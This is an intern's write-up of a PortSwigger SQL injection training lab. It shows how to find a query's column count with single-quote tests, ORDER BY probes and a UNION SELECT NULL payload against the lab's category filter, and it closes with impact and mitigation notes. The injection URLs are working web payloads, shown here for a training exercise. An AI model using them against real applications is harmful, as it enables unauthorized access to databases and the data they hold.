**PortSwigger SQL injection lab**

**Intern id:** 195

**Lab :** SQL Injection UNION Attack (Determining Number of Columns)

**Environment :** Linux

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**Objective**

Identify the number of columns returned by the vulnerable SQL query using the UNION SELECT injection technique.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**Target**

Application: PortSwigger SQLi Lab – UNION attack

Vector: Product category parameter in the URL

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**Vulnerability Description**

The application is vulnerable to SQL injection via the category filter parameter. By manipulating the parameter, it is possible to append a UNION SELECT clause. Determining the number of columns is necessary before extracting data.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**Steps to Reproduce**

1. Browse to the category page:

https://<lab-url>/filter?category=Gifts

2. Test for injection by appending a single-quote:

https://<lab-url>/filter?category=Gifts'

→ The server returns an error, confirming SQL injection.

3. Start testing the number of columns using ORDER BY:

https://<lab-url>/filter?category=Gifts' ORDER BY 1--

https://<lab-url>/filter?category=Gifts' ORDER BY 2--

https://<lab-url>/filter?category=Gifts' ORDER BY 3--

If ORDER BY 3-- works but ORDER BY 4-- causes an error → the query has 3 columns.

4. Confirm with a UNION SELECT NULL payload:

https://<lab-url>/filter?category=Gifts' UNION SELECT NULL,NULL,NULL--

→ The page loads successfully, confirming 3 columns.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**Technical Explanation**

The vulnerable SQL query is similar to:

SELECT id, name, description FROM products WHERE category = '<input>';

Using ORDER BY reveals how many columns are being selected.

UNION SELECT requires the same number of columns and compatible data types.

Replacing values with NULL ensures type compatibility across columns.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**Impact**

Once the number of columns is known, an attacker can inject arbitrary data (e.g., usernames, passwords, version info).

This forms the basis for full UNION-based data exfiltration.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**Mitigation**

Use parameterized queries instead of dynamic SQL.

Implement least privilege database accounts.

Apply error suppression to prevent attackers from learning query structure.

**\_\_\_\_\_\_\_\_\_\_\_ THANK YOU \_\_\_\_\_\_\_\_\_\_\_**